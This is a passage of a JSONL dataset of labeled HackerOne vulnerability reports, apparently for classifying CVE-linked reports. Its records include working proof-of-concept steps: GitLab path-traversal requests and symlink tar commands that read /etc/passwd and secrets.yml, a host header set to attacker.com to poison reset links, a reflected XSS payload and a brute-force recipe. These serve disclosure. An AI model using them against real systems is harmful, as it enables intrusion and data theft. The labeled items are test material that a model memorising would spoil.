end\n```\nWhich mean the `user` for passing to Gitaly will be `user` from `geo_push_user`\n\n```ruby\n  def self.new_from_headers(headers)\n    return unless needed_headers_provided?(headers)\n\n    new(headers['Geo-GL-Id'])\n  end\n\n  def user\n    @user ||= identify_using_ssh_key(gl_id)\n  end\n```\n\nTracing from this we will reach here\n\n```ruby\n    def identify_using_ssh_key(identifier)\n      key_id = identifier.gsub(\"key-\", \"\")\n\n      identify_with_cache(:ssh_key, key_id) do\n        User.find_by_ssh_key_id(key_id)\n      end\n    end\n\n```\nThis means: I am able to authenticate as any **SSH-KEY** by just passing the ID of the Key to headers `Geo-GL-Id`\n\n### Steps to reproduce\n\nSpliting into 2 parts, **GEO** is not neccessary for the PoC but **EE** Plan should be.\n\n**Exposing Gitlab JWT**\n\n- Set up an Project\n- Get a Personal Access Token of the user\n- Send the following request \n\n```http\nPOST /api/v4/projects/<project-id>/terraform/state/%2e%2e%2f%2e%2e%2fwikis%2fattachments?serial=1 HTTP/1.1\nHost: gitlab3.example.vm\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0\nPrivate-Token: <private-token>\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryTdc8IV2vpQMwv6jW\nCookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqZzBOVE14T1RWbUxXRTBZalF0TkRBek1pMWhaVGRpTFRNM05tSTBNalExWlRjNVl5ST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--64479e11c45d9e17bdf950f749ab3fa8b3ee278a; _gitlab_session=b50156c1d05716e1bebbfd448f38b890; known_sign_in=SkJhSDV0MWRqaFAyaFpZQlNCM3Vqbmg5UkxsZ0hyTHVWSlNPanNZT2YxbVQ4M2xvaUxLNkZabE9zeHdZOHlFQnloTWJxWGdPMWtKbUlkV25TNGFHRFFQVDlpdTRtUFpnTnZyd2xCTk5sS2hNRVBmODEvc2RiYVovT2RjTWgzWFQtLTY4ZEl1bXA4ZnVETVFrYnUrZVhaR1E9PQ%3D%3D--34ce6946f382229b6135333906ad3fd10ecbb284; sidebar_collapsed=false; event_filter=all\nUpgrade-Insecure-Requests: 1\nContent-Length: 316\n\n------WebKitFormBoundaryTdc8IV2vpQMwv6jW\nContent-Disposition: form-data; name=\"import_url\"\n\nhttp://gitlab3.example.vm/test/ttt\n------WebKitFormBoundaryTdc8IV2vpQMwv6jW\nContent-Disposition: form-data; name=\"mirror\"; filename=test.txt\nContent-Type: image/jpg\n\ntrue\n------WebKitFormBoundaryTdc8IV2vpQMwv6jW--\n```\n\n3. Later on send the following request \n\n```http\nGET /api/v4/projects/6/terraform/state/%2e%2e%2f%2e HTTP/1.1\nHost: gitlab3.example.vm\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0\nPrivate-Token: <Private-Token>\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection:", "source": "hackerone", "timestamp": "2022-07-05", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "4c451db297ab81c4ced3", "text": "[Improper Restriction of Authentication Attempts] Missing brute force protection on login page on www.acronis.com\n\nGood Night Team and a Merry Christmas!!!\nThe failure occurs as follows, to change the email the user has to click on a link sent to their email to confirm the change.if the user creates a new account with this email before clicking on the change email link,one second link is sent to your email to confirm your new account.if the user now clicks on the change email link, it will no longer be possible to confirm the change because the email is already in use and he will be redirected to a different login page from the original ,this login page has no rate limiting and is vulnerable to brute force attack.\nSteps to reproduce;1:Log in to your account at account.acronis.com\n2:Navigate to PROFILE -> Change email\n3:Enter an email address that is not being used in another account and click -> Save changes\n4:A message with a link to confirm the change will be sent to your email, Ignore the message for now, do not click on the link now\n5:Now create a new account using this email address\n6:You will receive another message in your email with a link to confirm your new account,Ignore the second message too,don't click.\n7:Now log out\n8:Now go to your email inbox and click on the link you received in the first message to confirm email change\n9:By clicking on the link you will be redirected to a login page different from the original\n10:Enter a random email and password and click login, intercept the request with BurpSuite and initiate the brute force attack\n11: For wrong passwords, the code 302 is displayed, and when the password is found, the code 1508 is displayed\n\n## Impact\n\nThe victim will have their account hacked by brute force attack because the changed login page has no rate limitation", "source": "hackerone", "timestamp": "2023-08-30", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "24aba4b225b5db772a6b", "text": "[Path Traversal] Arbitrary file read  via the bulk imports UploadsPipeline\n\n### Summary\n\nThe bulk imports api does not remove symlinks when untaring the uploads.tar.gz file, allowing arbitrary files to be read and uploaded when importing a group.\n\nWhen a group has uploads (such as markdown attachments), an `uploads.tar.gz` file will be downloaded and extracted in the `UploadsPipeline`:\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L15\n```ruby\n       def extract(context)\n          download_service(tmp_dir, context).execute\n          untar_zxf(archive: File.join(tmp_dir, FILENAME), dir: tmp_dir)\n          upload_file_paths = Dir.glob(File.join(tmp_dir, '**', '*'))\n\n          BulkImports::Pipeline::ExtractedData.new(data: upload_file_paths)\n        end\n```\n\nSince `untar_zxf` only changes the permissions, any symlinks that are extracted from the tar will remain and be added to the list of file paths. When `load` is called, the symlinks will be followed and used as the content for the new file:\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v14.6.0-ee/lib/bulk_imports/common/pipelines/uploads_pipeline.rb#L23\n```ruby\n        def load(context, file_path)\n          avatar_path = AVATAR_PATTERN.match(file_path)\n\n          return save_avatar(file_path) if avatar_path\n\n          dynamic_path = file_uploader.extract_dynamic_path(file_path)\n\n          return unless dynamic_path\n          return if File.directory?(file_path)\n\n          named_captures = dynamic_path.named_captures.symbolize_keys\n\n          UploadService.new(context.portable, File.open(file_path, 'r'), file_uploader, **named_captures).execute\n        end\n``` \n\nThis can be used to read any file that the git user has read access to such as secrets.yml or other sensitive files.\n\n### Steps to reproduce\n\n1. Create a new group on gitlab.com\n1. Create a new milestone and upload a file `passwd` with any content into the description\n1. Make note of the upload secret (the 32 byte hash in the path)\n1. Run the following commands to make a tar file, using the hash from above\n    ```bash\nmkdir ./d3209c811fee407218bff7cb3b4333e6\nln -s /etc/passwd ./d3209c811fee407218bff7cb3b4333e6/passwd\nln -s /srv/gitlab/config/secrets.yml ./d3209c811fee407218bff7cb3b4333e6/secrets.yml\ntar cvzf uploads.tar.gz ./d3209c811fee407218bff7cb3b4333e6\n    ```\n\n1. Save the following simple proxy server as `api.py` and run it with `FLASK_APP=api flask run`, this will replace the `uploads.tar.gz` with a custom one: {F1565789}\n1. Start [ngrok](https://ngrok.com/) so that it's externally accessible: `ngrok http 5000`\n1. Create a new access token at https://gitlab.com/-/profile/personal_access_tokens\n1. Create a new group, this time choose import group\n1. Enter the https ngrok url and the token you just created\n1. Select the group you initially created and choose a new name\n1. Once the import has complete, view the milestone and click the passwd link\n1. You will see the passwd file from the gitlab server\n1. Copy the link and change `passwd` to `secrets.yml` and you should be able to download the secrets file\n\n\n### Impact\n\nA user with access to import a group on gitlab can read arbitrary files on the gitlab server\n\n### Examples\n\nExample with `passwd` and `secrets.yml` attached:\nhttps://gitlab.com/groups/group_to_import_1/-/milestones/1\nhttps://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/passwd\nhttps://gitlab.com/groups/group_to_import_1/-/uploads/d3209c811fee407218bff7cb3b4333e6/secrets.yml\n\n### What is the current *bug* behavior?\nSymlinks are not removed or filtered when the `UploadsPipeline` is run for the bulk imports api\n\n### What is the expected *correct* behavior?\nSymlinks should be removed similar to the project import\n\n### Relevant logs and/or screenshots\n/etc/passwd file:\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman", "source": "hackerone", "timestamp": "2022-03-21", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "23d11a587a6c6fc75793", "text": "[Expected Behavior Violation] CVE-2022-32221: POST following PUT confusion\n\n## Summary:\nThe bug I submitted at https://github.com/curl/curl/issues/9507 can have at least a few unintended security issues:\n- Information Disclosure: this bug causes an HTTP PUT to occur when the user intends for an HTTP POST to occur. The user, who intended an HTTP POST, expects the POSTed information to come from CURLOPT_POSTFIELDS. However, as an HTTP PUT is performed instead, the data that is PUT comes from a buffer specified in CURLOPT_READDATA, which may be sensitive information intended for an entirely different host (host1.com below). If CURLOPT_READDATA is not specified, this data could come from stdin!\n- Use after free: using the description above, if the user had already freed the data specified in CURLOPT_READDATA, then the unintended HTTP PUT (which was intended to be an HTTP POST) would attempt to read the freed data specified in CURLOPT_READDATA.\n\n## Steps To Reproduce:\nThe following code is similar to the code I posted at https://github.com/curl/curl/issues/9507, but now highlights the potential security issues (which I did not think wise to disclose on GitHub):\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <curl/curl.h>\n\ntypedef struct\n{\n    char *buf;\n    size_t len;\n} put_buffer;\n\nstatic size_t put_callback(char *ptr, size_t size, size_t nmemb, void *stream)\n{\n    put_buffer *putdata = (put_buffer *)stream;\n    size_t totalsize = size * nmemb;\n    size_t tocopy = (putdata->len < totalsize) ? putdata->len : totalsize;\n    memcpy(ptr, putdata->buf, tocopy);\n    putdata->len -= tocopy;\n    putdata->buf += tocopy;\n    return tocopy;\n}\n\nint main()\n{\n    CURL *curl = NULL;\n    put_buffer pbuf = {};\n    char *otherdata = \"This is some other data\";\n\n    curl_global_init(CURL_GLOBAL_DEFAULT);\n\n    curl = curl_easy_init();\n\n    // PUT\n    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\n    curl_easy_setopt(curl, CURLOPT_READFUNCTION, put_callback);\n    pbuf.buf = strdup(\"This is highly secret and sensitive data\");\n    pbuf.len = strlen(pbuf.buf);\n    curl_easy_setopt(curl, CURLOPT_READDATA, &pbuf);\n    curl_easy_setopt(curl, CURLOPT_INFILESIZE, pbuf.len);\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://host1.com/putsecretdata\");\n    curl_easy_perform(curl);\n\n    // Without this line, a PUT instead of a POST will be sent below (this is a bug in libcurl)\n    //curl_easy_setopt(curl, CURLOPT_UPLOAD, 0L);\n\n    // Without this line, the POST below will send \"This is highly secret and sensitive data\"\n    //    when instead the user intended to send \"This is some other data\"\n    // With this line, the program will attempt to use freed data, causing a segfault or any number\n    //    of potential exploits.\n    //free(pbuf.buf);\n\n    // POST (will be a PUT without the line just above)\n    curl_easy_setopt(curl, CURLOPT_POST, 1L);\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, otherdata);\n    curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(otherdata));\n    curl_easy_setopt(curl, CURLOPT_URL, \"http://host2.com/postotherdata\");\n    curl_easy_perform(curl);\n\n    curl_easy_cleanup(curl);\n\n    curl_global_cleanup();\n\n    return 0;\n}\n```\n\n## Supporting Material/References:\nThe bug that leads to these potential security issues is documented at https://github.com/curl/curl/issues/9507\n\n## Impact\n\nAn attacker could potentially inject data, either from stdin or from an unintended buffer. Further, without even an active attacker, this could lead to segfaults or sensitive information being exposed to an unintended recipient.", "source": "hackerone", "timestamp": "2022-11-26", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "235ccdaf2192da0e980e", "text": "[Improper Access Control - Generic] Permissions policies can be bypassed via Module._load and require.extensions (High) (CVE-2023-30587)\n\n[https://hackerone.com/reports/1960870](https://hackerone.com/reports/1960870)\n\nThe use of `Module._load()` and `require.extensions[\".js\"]` can bypass the policy mechanism and require modules outside of the policy.json definition for a given module.\nThis vulnerability affects all users using the experimental policy mechanism in all active release lines: 16.x, 18.x and, 20.x.\n\n## Impact\n\nPermission policies limit a project to a specific set of authorized node js built-in modules. For example a project could attempt to limit the use of child_process which could be bypassed leading to remote code execution.", "source": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8b7ebc870483d867d2ab", "text": "[Information Exposure Through Sent Data] CVE-2022-27779: cookie for trailing dot TLD\n\nPublished Advisory: https://curl.se/docs/CVE-2022-27779.html\n\nOriginal Report: https://hackerone.com/reports/1553301\n\n## Impact\n\nThis can allow arbitrary sites to set cookies that then would get sent to a different and unrelated site or domain. (ie. conduct session fixation attacks.)", "source": "hackerone", "timestamp": "2022-06-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "5f2b69d3900326d4598d", "text": "[Unknown] [Java]: CWE-321 - Query to detect hardcoded JWT secret keys\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "dcf23c42d93a74a03988", "text": "[Privacy Violation] Friend Request Flow Exposes User Data\n\n## Summary:\nWhen submitting a friend request to a user, Zenly will allow access to their phone number regardless of whether the friend request is accepted or not. To obtain this information, a malicious actor only needs to know their username. \n## Steps To Reproduce:\nTo reproduce this issue, an environment that enables intercepting and decoding network requests is required. Once this environment is set up, we are able to gain visibility over network activity.\n{F1355295}\nThe vulnerability makes use of the **“Add by Username”** flow, which starts by searching a known username.\n{F1355316}\nThe interceptor that was previously set up can be used to view the requests that occurred during this search. Note that the “Add as Friend” button was never pressed, meaning a friend request was never sent.\n███████\nBy observing the response of the request that was executed on the `/UserPublicFriends` endpoint, a list of friends can be seen, although it is not displayed on the UI of the application. This list contains every friend of the user, one of them is **Bogus_CEO** (bogus CEO of Zenly, for demonstration purposes). Note that the response also contains their username, which could in turn be used to repeat this process and obtain their friends' list instead.\nOnce we obtain the username of the target user, we can obtain their phone number through a flow that is almost identical. On the **“Add by Username”** view, we search for their username and complete the flow by tapping the **ADD AS FRIEND** button.\n{F1355328}\nThis friend invitation will trigger a request to the `/FriendRequestCreate` endpoint, whose response contains specific information regarding both our user (items 3, 5, and 6 in the image below) and the target user (items 4, 7, and 8 in the image below).\n████████\nNote that the response contains both our phone number and the phone number of the target user, even though our friend request **was never accepted by the target user**.\n\n## Impact\n\nExposure of user data can be used by attackers for malicious purposes. Obtaining this data can put at risk not only the users of the application but also Zenly’s brand image.\nConsider a scenario where a malicious actor wants to attack a company by targeting its CEO. An attacker can make use of this vulnerability and employ the following attack vector:\n1. Search the web for an employee of the company and try to obtain their social media handle e.g., Twitter. (Best targets are employees who work in communications or marketing fields since they are typically more exposed and represent easier targets)\n2. Validate their handle is valid on Zenly.\n3. Access their list of friends through Zenly, obtain the handle of the CEO.\n4. Retrieve the phone number of the CEO through their username. <- This is already a privacy violation, but the scenario can go on...\n5. Carry out a spear-phishing attack, using the phone number of the CEO.\nAn attacker can also repeat these steps to obtain the phone number of other employees and thus prepare a more credible attack.\nNote that, according to the documentation provided by Zenly, present at [this link][1], it should not be possible to retrieve the phone number of a user unless we are already friends with them.\nThe following screenshot was obtained from this documentation:\n{F1355287}\n\n[1]: https://community.zen.ly/hc/en-us/articles/360001404288-View-or-call-my-Zenly-friend-s-phone-number", "source": "hackerone", "timestamp": "2022-01-12", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "bddf25519abb854daa5b", "text": "[Improper Input Validation] CVE-2022-27780: percent-encoded path separator in URL host\n\nAdvisory: https://curl.se/docs/CVE-2022-27780.html\n\nOriginal Report: https://hackerone.com/reports/1553841\n\n## Impact\n\nURL filter bypasses", "source": "hackerone", "timestamp": "2022-06-11", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "ee86393506e3a1520694", "text": "[Improper Access Control - Generic] CVE-2023-42780: Apache Airflow: Improper access control vulnerability in the \"List dag warnings\" feature\n\nApache Airflow, versions prior to 2.7.2, contains a security vulnerability that allows authenticated users of Airflow to list warnings for all DAGs, even if the user had no permission to see those DAGs. It would reveal the dag_ids and the stack-traces of import errors for those DAGs with import errors.\n\n# Steps to reproduce :\n1. Here I create a role with very little permission. It only has read permissions for the DAG \"example_setup_teardown_taskflow\" and read warning permissions.\n2. Assign the role to an account and log in.\n3. Use burpsuite to send the following message, and you can see the warnings of other DAGs. (replaced with the session of the account)\n```\nGET /api/v1/dagWarnings HTTP/1.1\nHost: testvul.com:8080\nAccept: application/json\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\ncontent-type: application/json\nReferer: http://testvul.com:8080/dags/example_external_task_marker_parent/grid\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nCookie: session=6ba0ebcd-94b6-41e9-8143-2ada52d554b1.IGPZy1m5c8235p5r8qo4GhPl_YM\nConnection: close\nContent-Length: 0\n\n\n```\n{F2771429}\n\n**Security Advisory**: https://lists.apache.org/thread/h5tvsvov8j55wojt5sojdprs05oby34d\n**Severity**: Low\n**Credit**: balis0ng\n\n## Impact\n\nIt allows authenticated users of Airflow to list warnings for all DAGs, even if the user had no permission to see those DAGs. It would reveal the dag_ids and the stack-traces of import errors for those DAGs with import errors.", "source": "hackerone", "timestamp": "2023-11-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "2f142a9631ed939217cf", "text": "[Uncontrolled Resource Consumption] [CVE-2023-22796] Possible ReDoS based DoS vulnerability in Active Support’s underscore\n\nI reported at https://hackerone.com/reports/1681972\n\nhttps://discuss.rubyonrails.org/t/cve-2023-22796-possible-redos-based-dos-vulnerability-in-active-supports-underscore/82116\n> A specially crafted string passed to the underscore method can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability.\n> This affects String#underscore, ActiveSupport::Inflector.underscore, String#titleize, and any other methods using these.\n> All users running an affected release should either upgrade or use one of the workarounds immediately.\n\n## Impact\n\nReDoS when `.underscore` uses user input.\nAlso, `titleize`, `tableize`, and `foreign_key` using `.underscore` will also have the same problem.", "source": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e8639d3f0d77864b09e3", "text": "[Insecure Storage of Sensitive Information] password field autocomplete enabled\n\n## Summary:\n[Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications that employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.\nThe stored credentials can be captured by an attacker who gains control over the user's computer. Further, an attacker who finds a separate application vulnerability such as cross-site scripting may be able to exploit this to retrieve a user's browser-stored credentials.]\n\n## Platform(s) Affected:\n[both]\n\n## Steps To Reproduce:\n[follow the steps]\n\n  1. [signup with the new details]\n  1. [go to login page]\n  1. [there we will see password details are automatically filled]\n\n## Supporting Material/References:\n[none]\n\n## Impact\n\nThis autocomplete password can be sniffed without user permission", "source": "hackerone", "timestamp": "2022-09-27", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "f339f122ac945545d74f", "text": "[Unknown] (CVE-2023-32003) fs.mkdtemp() and fs.mkdtempSync() are missing getValidatedPath() checks\n\nhttps://hackerone.com/reports/2037887\n\nhttps://nodejs.org/en/blog/vulnerability/august-2023-security-releases#fsmkdtemp-and-fsmkdtempsync-are-missing-getvalidatedpath-checks-lowcve-2023-32003\n\nPatch was provided.\n\n## Impact\n\nSee reports", "source": "hackerone", "timestamp": "2023-10-07", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "cd1cfaf72e8ef66cdbf2", "text": "[Violation of Secure Design Principles] Phishing/Malware site blocking on Brave iOS can be bypassed with trailing dot in hostname\n\n## Summary:\n\nPhishing/Malware site blocking feature on Brave iOS blocks navigation to the domains in [simple_malware.txt](https://github.com/brave/brave-ios/blob/821785db8fc71fd084a8a0b2600ff43ea7165ce9/Client/WebFilters/SafeBrowsing/Lists/simple_malware.txt).\nBut that logic doesn't care existence of a trailing dot in the hostname, so http://3e1.cn/ in the list is correctly blocked but [http://3e1.cn./](http://3e1.cn./) is not blocked.\n\nSafe browsing in Brave for PC/Mac (Chromium based) can blocks both URLs, so Brave iOS should align with it.\n\n## Products affected: \n\n* Brave iOS nightly build\n\n## Steps To Reproduce:\n\n* Enable \"Blocking Phishing and Malware\" feature on Setting\n* Open [http://3e1.cn./](http://3e1.cn./)\n\n## Supporting Material/References:\n\n  * See attached demonstration movie file\n\n## Impact\n\nUser is taken to the prohibited malware/phishing site with bypassing Brave Shield protection.", "source": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "63251fecbf1830311338", "text": "Electrolink FM/DAB/TV Transmitter Unauthenticated Remote DoS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2023-09-30", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e19cc5c0c8e026794870", "text": "[Cross-Site Request Forgery (CSRF)] Improper CSRF token validation allows attackers to access victim's accounts linked to Hackerone\n\n### Overview:\n\nOrganisations in Hackerone can automate their workflow by integrating their accounts with their existing tools like Github or Jira. Most of these integrations are built on top of Tray.io's embedded product.\n\nAccording to this [article](https://tray.io/customers/story/hackerone). Hackerone has established Tray Embedded as central integration hub to deliver high-quality customer integration.\n\n### Flawed Authorization flow\n\nI have created two sandbox Hackerone accounts and picked the github integration for testing. This [link](https://docs.hackerone.com/programs/github-integration.html) explains very well how to setup the integration on your account.\n\nWhen we click on \"New Authentication\", an exchange starts between Hackeron's integration authentication server and the service provider. \n\n{F1976245}\n\nThe authentication integration server is ```hackerone.integration-authentication.com```. The following are steps of the authorization flow:\n\n1. The flow starts with a POST request to\n```hackerone.integration-authentication.com/session```\n\n {F1976252}\n\nThe response contains two tokens: ***session*** and ***csrf***. \n\n2. The frontend takes those values and uses them to send a request to the oauth2 endpoint to generate the authorization link.\n\n```\nhttps://hackerone.integration-authentication.com/oauth2/auth/:authentication_id?csrf=QDXo8g3vciWTiV9Mm1L-VpYl6hKQCE-4ORmMFliZNh8=&scope=read:org%20repo&session=78NgOnCMPISn0LPw4Zto5HFSRLJwJyLaJqqi6_bFmXU=\n```\n\n {F1976253}\n\n3. Following the redirection takes us to the authorization page of the service provider\n\n {F1976255}\n\nIf we choose to Authorize Hackerone, we will get redirected to the token callback endpoint:\n```\nhackerone.integration-authentication.com/oauth2/token?code=47b070b577c905d66124&state=507dad3e-aa80-4fee-8ec1-a04ad95aea83%2CQDXo8g3vciWTiV9Mm1L-VpYl6hKQCE-4ORmMFliZNh8%3D%2C%2Chackerone.integration-configuration.com%2Cproduction%2C78NgOnCMPISn0LPw4Zto5HFSRLJwJyLaJqqi6_bFmXU%3D\n```\n \n\nThis endpoint validates the code received from Github, the backend relies on the ***state*** parameter to determine to which user should the Github access token be appropriated. Then it redirects us to the callback endpoint ```https://hackerone.integration-configuration.com/auth/cb?id=507dad3e-aa80-4fee-8ec1-a04ad95aea83``` which sends a postmessage to the embedded iframe to validate the integration on the client side.\n\nBy analyzing these requests, I found that step 2 was not well protected against cross site forgery attacks. The unproper validation of the CSRF token puts all Hackerone's customers at a big risk. With one click from the victim, the attacker couldtrick the victim to link their Github(or any other integration built on top of Tray.io) to the attacker's account.\n\n### POC:\n{F1976267}\n\n\n### Reproduction Steps:\n. Attacker creates a program then starts setting up a an integration(for example Github)\n\n. Attacker keeps forwarding requests until a GET request similar to\n\n```\nhttps://hackerone.integration-authentication.com/oauth2/auth/<Auth ID>?csrf=F_Sr5vd7hWMLSkZoubYOTMbwROI922ZU6q1S4fEF43E=&scope=read:org%20repo&session=1iydW3sIKpyTGxhG8lxeWY9ddzaUknoUJT9Rr51ptMc=\n```\n\n. Attacker copies the request's url then drops it. He then sends it to the victim and hopes for the best\n\n. Victim clicks on the link\n\nTwo options:\n1. if the victim has already linked the company's Github to the Hackerone. Github won't ask for user's conscent. The victim would be redirected the callback endpoint\n\n```\nhttps://hackerone.integration-configuration.com/auth/cb?id=<Auth ID>\n```\n\nThe victim would have no idea of what happened\n\n2. The app would ask the user if they'd give their conscent to Hackerone. If the victim trusts Hackerone, there is a high chance they would click Yes.\n\n. Once the victim's authorization is finished. The attacker can change the location of authentication window to \n\n```\nhttps://hackerone.integration-configuration.com/auth/cb?id=<Auth ID>\n```\n\nThi", "source": "hackerone", "timestamp": "2023-06-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "201e7220ff84d835958f", "text": "[Business Logic Errors] Host Header Injection on https://███/████████/Account/ForgotPassword\n\nDear DoD Team,\n\nI found one high bug on your another domain. This is from Hack US Program. Affected domain is https://█████/\n\nAn attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways.\nVery often multiple websites are hosted on the same IP address. This is where the Host Header comes in. This header specifies which website should process the HTTP request. The web server uses the value of this header to dispatch the request to the specified website. Each website hosted on the same IP address is called a virtual host. And It's possible to send requests with arbitrary Host Headers to the first virtual host.\n\nHere's the PoC btw:\n\n███\n\nThank you DoD!\n\n## Impact\n\nTampering of Host header can lead to the following attacks:\n1) Web Cache Poisoning-Manipulating caching systems into storing a page generated with a malicious Host and serving it to others.\n2) Password Reset Poisoning-Exploiting password reset emails and tricking them to deliver poisoned content directly to the target.\n3) Cross Site Scripting - XSS can be performed, if the value of Host header is used for writing links without HTML-encoding. For example Joomla used to write Host header to every page without HTML Encoding like this: <link href=”http://_SERVER['HOST']”> which led to cross site scripting.\n4) Access to internal hosts-To access internal hosts.\n5.) It can also lead to Phishing Attacks.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nUsers are affected\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to this domain: https://███/████████/\n2. Go to vendor login.\n3. Create a test account.\n4. Go to Forgot Password Reset: https://████/██████/Account/ForgotPassword\n5. Before inserting your email. \n6. Turn your foxy proxy on.\n7. Open your burp suite and go to http history tab.\n8. Now insert your email.\n9. In http history in burp you will see this request:\n\n```javascript\nPOST /████████/Account/ForgotPassword HTTP/1.1\nHost: ███\nCookie: .AspNetCore.Antiforgery.wZhPOrJ1UhI=; TS014b77bb=; ASP.NET_SessionId=; TS0144f203=; CSRF-TOKEN=\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: hr,hr-HR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-Csrf-Token: \nX-Requested-With: XMLHttpRequest\nContent-Length: 35\nOrigin: https://███████\nReferer: https://████/█████████/Account/ForgotPassword\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n\n{\"Email\":\"███████\"}\n```\n10. Send this request to repeater tab.\n11. Change Host headet to attacker.com\n12. It shoud look like this:\n\n```javascript\nPOST /████████/Account/ForgotPassword HTTP/1.1\nHost: attacker.com\nCookie: .AspNetCore.Antiforgery.wZhPOrJ1UhI=; TS014b77bb=; ASP.NET_SessionId=; TS0144f203=; CSRF-TOKEN=\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: hr,hr-HR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/json\nX-Csrf-Token: \nX-Requested-With: XMLHttpRequest\nContent-Length: 35\nOrigin: https://████\nReferer: https://███████/████/Account/ForgotPassword\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\nConnection: close\n```\n13. Now send request and you will get 200 OK response.\n14. Go to your mail/gmail.\n15. You will see some magic.\n16. PoC is down there.\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "fd3c060fa9fe64a40097", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://██████/██████████ via \"████████\" parameter\n\nThere is Reflected Cross site scripting issue at the following url:\n\n[https://█████/████](https://██████████/██████████)\nProof Of Concept\n\nhttps://████████/███████?text=&███=%22%3E%3Csvg/onload=alert(1)%3E████\n\n███████\n\n\nBest Regards\n@pelegn\n\n## Impact\n\nCookies Exfiltration\nSOAP Bypass\nCORS Bypass\nExecuting javascript on the victim behalf\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to https://█████████/███?text=&███████=%22%3E%3Csvg/onload=alert(1)%3E██████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
